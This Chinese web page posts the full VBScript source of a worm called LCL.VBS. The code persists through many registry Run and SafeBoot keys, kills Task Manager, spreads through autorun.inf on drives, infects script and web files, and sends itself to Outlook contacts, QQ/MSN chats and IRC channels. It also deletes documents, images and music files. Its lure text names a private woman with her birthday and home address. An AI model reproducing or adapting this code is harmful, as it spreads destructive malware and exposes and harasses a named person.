LCL.VBS 病毒源代码

rem email:kouguoxi@hotmail.com
rem some crack statement i remment,make it can't to run
on error resume next

dim title,text
title="can you help me find a person?"
text="her name is liu chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is yuzhen.qixian.kaifeng.henan.china."&chr(13)&chr(10)
text=text&"i was died because by her,"&chr(13)&chr(10)
text=text&"i am demanding my life of you."&chr(13)&chr(10)

set fso = createobject("scripting"&"."&"filesystem"&"object")
self=fso.opentextfile(wscript.scriptfullname,1).readall 
set wshshell = wscript.createobject("wscript"&"."&"shell")
startup = wshshell.specialfolders("startup")
set dirwin = fso.getspecialfolder(0) 
set dirsystem = fso.getspecialfolder(1) 
set dirtemp = fso.getspecialfolder(2) 
set lcl=fso.getfile(wscript.scriptfullname) 
lcl.copy(dirwin&"\lcl.vbs") 
lcl.copy(dirsystem&"\lcl.vbs") 
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7

set sf0 = fso.getspecialfolder(0)
b = sf0.drive&"\lcl.txt"
set lcl = fso.createtextfile( b , true )
lcl.write text
fso.copyfile b, startup&"\lcl.txt"
lcl.close

dim lcl
set lcl = fso.createtextfile(wscript.scriptfullname, true)

function scode (n)
    dim x
    for x = 0 to 254
       if n = chr(x) then 
          scode = x
          exit function
       end if
    next
end function

rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
    cc = mid (self,l,1)
    if l>99 and instr(self,"liu chun li")>0 then   
       cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据
       else 
       cipher=chr(scode(cc))
    end if
    correy=correy&cipher
next

lcl.write correy
lcl.close

dim hk,hc,safe
hk="hkey_local_machine\software\microsoft\windows\currentversion\run"
hc="hkey_current_user\software\microsoft\windows\currentversion\run"
wshshell.regwrite "hkey_current_user\software\microsoft\windows scripting host\settings\timeout",0,"reg_dword" 
wshshell.regwrite hk&"\lcl",dirsystem&"\lcl.vbs" 
wshshell.regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs" 
wshshell.regwrite hk&"once\lcl",dirsystem&"\lcl.vbs" 
wshshell.regwrite hk&"onceex\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hk&"services\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"once\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"service\lcl",dirsystem&"\lcl.vbs"
safe="hkey_local_machine\system\currentcontrolset\control\safeboot\"
wshshell.regwrite safe&"minimal\lcl.vbs",dirsystem&"\lcl.vbs" 
wshshell.regwrite safe&"network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop

dim d
for each d in fso.drives
    if d.drivetype<>4 then 
       fso.copyfile b, d&"\lcl.txt"
       scan(d)
    end if
    if d.drivetype=1 and d.isready=true and formatnumber(d.freespace/1024, 0) > 99 then
          fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"
          fso.getfile(wscript.scriptfullname).attributes=7
          set inf=fso.createtextfile(d&"\autorun.inf",true)
          fso.getfile(d&"\autorun.inf").attributes=7
          inf.writeline "[autorun]"  
          inf.writeline "open="  
          inf.writeline "shell\open=打开(&o)"  
          inf.writeline "shell\open\command=wscript.exe lclrun.vbs" 
          inf.writeline "shell\open\command=wscript.exe lcl.vbs"  
          inf.writeline "shell\open\default=1"  
          inf.writeline "shell\explore=资源管理器(&x)"  
          inf.writeline "shell\explore\command=wscript.exe lclrun.vbs" 
          inf.writeline "shell\explore\command=wscript.exe lcl.vbs" 
          inf.close  
          set ini=fso.createtextfile(d&"\desktop.ini",true)
          fso.getfile(d&"\desktop.ini").attributes=7
          ini.writeline "[.shellclassinfo]"  
          ini.writeline "clsid={645ff040-5081-101b-9f08-00aa002f954e}" 
          ini.close   
          set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)
     fso.getfile(d&"\lclrun.vbs").attributes=7
     lclrun.writeline "on error goto 0"  
     lclrun.writeline "set fso=createobject("&chr(34)&"scripting.filesys"&chr(34)&"&"&chr(34)&"temobject"&chr(34)&")"  
     lclrun.writeline "ifor each d in fso.drives"  
     lclrun.writeline "if d.drivetype=1 and d.isready=true and formatnumber(d.freespace/1024, 0) > 99 then"  
     lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "  
     lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"wscript.shell"&chr(34)&")"  
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
     lclrun.writeline "end if"  
     lclrun.writeline "next"
     lclrun.close  
       end if
next

dim wshnetwork,netdrives,net1,net2
set wshnetwork = wscript.createobject("wscript.network") 
set netdrives = wshnetwork.enumnetworkdrives 
if netdrives.count > 0 then
    for i = 0 to netdrives.count - 1 step 2 
    net1 = netdrives(i)
    net2 = netdrives(i + 1)
    scan (net1)
    scan (net2)
    next
end if

dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
set outlookapp = createobject("outlook.app"&"lication") 
if outlookapp= "outlook" or outlookapp = "outlook express" then
   set mapiobj=outlookapp.getnamespace("mapi") ''获取mapi的名字空间
   set addrlist= mapiobj.addresslists ''获取地址表的个数
   for each addr in addrlist
      if addr.addressentries.count <> 0 then
         addrentcount = addr.addressentries.count ''获取每个地址表的email记录数
         for addrentindex= 1 to addrentcount ''遍历地址表的email地址
             set item = outlookapp.createitem(0) ''获取一个邮件对象实例
             set addrent = addr.addressentries(addrentindex) ''获取具体email地址
             item.to = addrent.address 
             item.subject = title
             item.body = text 
             set attachments=item.attachments 
             attachments.add fso.getspecialfolder(0) & "\lcl.vbs"
             item.deleteaftersubmit = true ''信件提交后自动删除
             if item.to <> "" then 
             item.send 
             wshshell.regwrite "hkcu\software\mailtest\mailed", "1" 
             end if
          next
       end if
    next
end if

rem next from i love you.
set out=wscript.createobject("outlook.application") 
set mapi=out.getnamespace("mapi") 
for ctrlists=1 to mapi.addresslists.count 
    set a=mapi.addresslists(ctrlists) 
    x=1 
    regv=wshshell.regread("hkey_current_user\software\microsoft\wab\"&a) 
    if (regv="") then 
      regv=1 
    end if 
    if (int(a.addressentries.count)>int(regv)) then 
      for ctrentries=1 to a.addressentries.count 
          malead=a.addressentries(x) 
          regad="" 
          regad=wshshell.regread("hkey_current_user\software\microsoft\wab\"&malead) 
          if (regad="") then 
          set male=out.createitem(0) 
          male.recipients.add(malead) 
          male.subject = title
          male.body = text
          male.attachments.add(dirsystem&"lcl.vbs") 
          male.send 
          wshshell.regwrite "hkey_current_user\software\microsoft\wab\"&malead,1,"reg_dword" 
          end if 
          x=x+1 
      next 
      wshshell.regwrite "hkey_current_user\software\microsoft\wab\"&a,a.addressentries.count 
      else 
       wshshell.regwrite "hkey_current_user\software\microsoft\wab\"&a,a.addressentries.count 
    end if 
next 
set out=nothing 
set mapi=nothing 

set objoutlook = createobject("outlook.application")
if objoutlook = "outlook" then
set objnamespace = objoutlook.getnamespace("mapi")
set coladdresslists = objnamespace.addresslists
set onjnamespace = nothing
for each objitem in coladdresslists
   if objitem.addressentries.count <> 0 then
    intcountofaddresses = objitem.addressentries.count
    for i = 1 to intcountofaddresses
     set objmailmsg = objoutlook.createitem(0)
     set objdestaddress = objitem.addressentries(i)
     objmailmsg.to = objdestaddress.address
     objmailmsg.subject =   title
     objmailmsg.body =   text
     execute "set objsend =objmailmsg." & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(109) & chr(101) & chr(110) & chr(116) & chr(115)
     strattach = strfilepathname
     objmailmsg.deleteaftersubmit = true
     objsend.add strattach
     if objmailmsg.to <> "" then
      objmailmsg.send
     end if
    next
   end if
next
set objoutlook = nothing
set objitem = nothing
set objmailmsg = nothing
set objdestaddress = nothing
end if

strcomputer = "."   
set wbemservices = getobject("winmgmts:\\" & strcomputer)
set wbemobjectset = wbemservices.instancesof("win32_process")
for each wbemobject in wbemobjectset
     if wbemobject.name="msn.exe" or wbemobject.name="qq.exe" then
      wshshell.appactivate wbemobject.name 
      wshshell.sendkeys "can you help me find a person?" 
      wshshell.sendkeys "^{enter}" ' or "^~"
      wscript.sleep 9000
      wshshell.sendkeys "her name is liu chun li" 
      wshshell.sendkeys "^{enter}"
      wscript.sleep 9000
      wshshell.sendkeys "her birthday is 1981-02-17." 
      wshshell.sendkeys "^{enter}"
      wscript.sleep 9000
      wshshell.sendkeys "her mother home is yuzhen.qixian.kaifeng.henan.china." 
      wshshell.sendkeys "^{enter}"
     end if
next

sub scan(folder)
on error goto 0
set fd=fso.getfolder(folder)
for each file in fd.files 
    self1=fso.opentextfile(file,1).readall
    ext=fso.getextensionname(file)           
    ext=lcase(ext)     
    if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then  
       if   instr ( self1 ,"liu chun li" ) < 0 then 
          set lcl=fso.opentextfile(file.path,8,true) 
          lcl.write chr(13)&chr(10)
          lcl.write self  
          lcl.write chr(13)&chr(10)                   
          lcl.close  
        end if                
    end if  
    if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then  
       if   instr ( self1 ,"liu chun li" ) < 0 then     
         set lcl=fso.opentextfile(file.path,8,true) 
         lcl.write "<"&"script language='vbscript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self   
         lcl.write "<"&"/script>" 
         lcl.write chr(13)&chr(10)              
         lcl.close
       end if
     end if
     rem or ext="mspx"
     if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then  
       if   instr ( self1 ,"liu chun li" ) < 0 then    
         set lcl=fso.opentextfile(file.path,8,true) 
         lcl.write "<"&"script language='vbscript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self   
         lcl.write "<"&"/script>"   
         lcl.write chr(13)&chr(10)            
         lcl.close
       end if  
     end if
     if ext="ini" then  
       if not instr ( self1 ,"liu chun li" ) > 0 then 
         dim ini   
         set ini=fso.opentextfile(file.path,8,true) 
         ini.writeline chr(13)&chr(10)
         ini.writeline "[script]" 
         ini.writeline "n0=on 1:join:#:{" 
         ini.writeline "n1= /if ( $nick == $me ) { halt }" 
         ini.writeline "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs" 
         rem ini.writeline "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}" 
         '利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
         ini.writeline "n3=}" 
         ini.writeline ";liu chun li" 
         ini.close 
       end if  
     end if
    rem every 9 in the lunar calenda do it
    if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then  
       file.delete true 
    end if 
next
for each subfd in fd.subfolders         
    scan(subfd)
next 
end sub

如对本文有疑问， 点击进行留言回复！！